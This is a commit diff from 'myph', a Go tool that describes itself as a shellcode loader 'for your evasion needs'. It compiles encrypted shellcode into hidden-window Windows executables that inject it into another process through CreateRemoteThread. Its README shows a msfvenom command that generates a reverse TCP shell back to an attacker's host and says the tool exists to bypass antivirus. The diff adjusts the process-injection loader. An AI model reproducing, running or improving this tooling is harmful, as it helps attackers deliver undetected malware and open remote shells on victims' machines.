myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit ba99aa39e3d48d725bbf42d4517467beebb01d51
parent 94a5880f197b0b98edffb1e85efc476476678b97
Author: winds0r <[email protected]>
Date: Fri, 21 Jul 2023 02:05:59 +0900

fix(loaders): fixing havoc loading with CRT template

Diffstat:
MREADME.md | 8+++++---
Mcli/parser.go | 47++++++++++++++++++++++++++++-------------------
Mloaders/create_remote_thread.go | 16+---------------
Mtools/utils.go | 26++++++++++++++++++++++++++

4 files changed, 60 insertions(+), 37 deletions(-)

diff --git a/README.md b/README.md
@@ -46,7 +46,7 @@ Flags:
   -h, --help                 help for myph
   -k, --key string           encryption key, auto-generated if empty. (if used by --encryption)
   -o, --os string            OS compilation target (default "windows")
-  -f, --outdir string        output directory (default "myph-out")
+  -f, --out string           output name (default "myph-out")
   -p, --process string       target process to inject shellcode to (default "cmd.exe")
   -s, --shellcode string     shellcode path (default "msf.raw")
   -v, --version              version for myph
@@ -54,6 +54,8 @@ Flags:
 
 This tool uses the CRT method. If you don't know what that is, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
 
+> Altough there is an OS version, Linux or MacOS are not supported !
+
 Generate a payload like so:
 
 ```bash
@@ -61,10 +63,10 @@ Generate a payload like so:
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw
 
 # run myph (--shellcode is not mandatory here because we use the default value)
-./myph --shellcode msf.raw --outdir something
+./myph --shellcode msf.raw --out something
 
 # you should find your payload here
-file ./something/payload.exe
+file ./something.exe
 ```
 
 #### Using docker
diff --git a/cli/parser.go b/cli/parser.go
@@ -36,6 +36,7 @@ const ASCII_ART = `
 
     `
 
+
 func GetParser(opts *Options) *cobra.Command {
 
 	version := "2.0.0"
@@ -47,20 +48,20 @@ func GetParser(opts *Options) *cobra.Command {
 		Long:               ASCII_ART,
 		Run: func(cmd *cobra.Command, args []string) {
 
-			/* obligatory skid ascii art */
-			fmt.Printf("%s\n\n", ASCII_ART)
+            /* obligatory skid ascii art */
+            fmt.Printf("%s\n\n", ASCII_ART)
 
 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
 			err := tools.CreateTmpProjectRoot(opts.Outdir)
 			if err != nil {
-				fmt.Printf("[!] Error generating project root: %s", err)
+				fmt.Printf("[!] Error generating project root: %s\n", err)
 				os.Exit(1)
 			}
 
 			/* reading the shellcode as a series of bytes */
 			shellcode, err := tools.ReadFile(opts.ShellcodePath)
 			if err != nil {
-				fmt.Printf("[!] Error reading shellcode file: %s", err.Error())
+				fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error())
 				os.Exit(1)
 			}
 
@@ -69,12 +70,12 @@ func GetParser(opts *Options) *cobra.Command {
 				opts.Key = tools.RandomString(32)
 			}
 
-			fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
+            fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
 
 			/* encoding defines the way the series of bytes will be written into the template */
 			encType := tools.SelectRandomEncodingType()
 
-			fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
+            fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
 
 			/*
 			   depending on encryption type, we do the following:
@@ -122,14 +123,14 @@ func GetParser(opts *Options) *cobra.Command {
 
 			/* TODO: add support for more exec templates */
 			err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetCRTTemplate(opts.Target))
-			if err != nil {
+            if err != nil {
 				panic(err)
 			}
 
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
 
-			fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
+            fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
 
 			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
 			execCmd.Dir = opts.Outdir
@@ -137,26 +138,34 @@ func GetParser(opts *Options) *cobra.Command {
 			_, stderr := execCmd.Output()
 
 			if stderr != nil {
-				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
-				fmt.Printf(
-					"\nYou may try to run the following command in %s to find out what happend: %s\n\n",
-					opts.Outdir,
-					"go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
-				)
-
-				fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
+                fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
+                fmt.Printf(
+                    "\nYou may try to run the following command in %s to find out what happend: GOOS=%s GOARCH=%s %s\n\n",
+                    opts.Outdir,
+                    opts.OS,
+                    opts.arch,
+                    "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+                )
+
+                fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
 				os.Exit(1)
 			}
 
-			println("[+] Done! You may find your payload in the out-directory...")
+            fullpath := fmt.Sprintf("%s/payload.exe", opts.Outdir)
+            finalName := fmt.Sprintf("./%s.exe", opts.Outdir)
+            tools.MoveFile(fullpath, finalName)
+
+            os.RemoveAll(opts.Outdir)
+
+            println("[+] Done!")
 		},
 	}
 
 	defaults := GetDefaultCLIOptions()
 
-	cmd.PersistentFlags().StringVarP(&opts.Outdir, "outdir", "f", defaults.Outdir, "output directory")
+	cmd.PersistentFlags().StringVarP(&opts.Outdir, "out", "f", defaults.Outdir, "output name")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+    cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
 
 	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
 	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
diff --git a/loaders/create_remote_thread.go b/loaders/create_remote_thread.go
@@ -23,11 +23,6 @@ const (
     PAGE_READWRITE            = 0x4
     PAGE_EXECUTE_READ         = 0x20
     PAGE_EXECUTE_READWRITE    = 0x40
-    PROCESS_CREATE_THREAD     = 0x0002
-    PROCESS_QUERY_INFORMATION = 0x0400
-    PROCESS_VM_OPERATION      = 0x0008
-    PROCESS_VM_WRITE          = 0x0020
-    PROCESS_VM_READ           = 0x0010
     CREATE_SUSPENDED          = 0x4
     CREATE_NO_WINDOW          = 0x8000000
 )
@@ -36,15 +31,10 @@ var (
     kernel32            = syscall.MustLoadDLL("kernel32.dll")
     ntdll               = syscall.MustLoadDLL("ntdll.dll")
 
-    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
-
-    VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
     VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
     VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
     WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
-    OpenProcess         = kernel32.MustFindProc("OpenProcess")
     CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
-    closeHandle         = kernel32.MustFindProc("CloseHandle")
 )
 
 
@@ -141,11 +131,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
         os.Exit(1)
     }
 
-    /* close process handler */
-    _, _, err = closeHandle.Call(uintptr(process.Process))
-    if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
+    for {}
 }
     `, targetProcess)
 }
diff --git a/tools/utils.go b/tools/utils.go
@@ -8,6 +8,32 @@ import (
 	"os"
 )
 
+
+func MoveFile(sourcePath, destPath string) error {
+    inputFile, err := os.Open(sourcePath)
+    if err != nil {
+        return fmt.Errorf("Couldn't open source file: %s", err)
+    }
+    outputFile, err := os.Create(destPath)
+    if err != nil {
+        inputFile.Close()
+        return fmt.Errorf("Couldn't open dest file: %s", err)
+    }
+    defer outputFile.Close()
+    _, err = io.Copy(outputFile, inputFile)
+    inputFile.Close()
+    if err != nil {
+        return fmt.Errorf("Writing to output file failed: %s", err)
+    }
+    // The copy was successful, so now delete the original file
+    err = os.Remove(sourcePath)
+    if err != nil {
+        return fmt.Errorf("Failed removing original file: %s", err)
+    }
+    return nil
+}
+
+
 func WriteToFile(outfile string, filname string, toWrite string) error {
 
 	full_path := fmt.Sprintf("%s/%s", outfile, filname)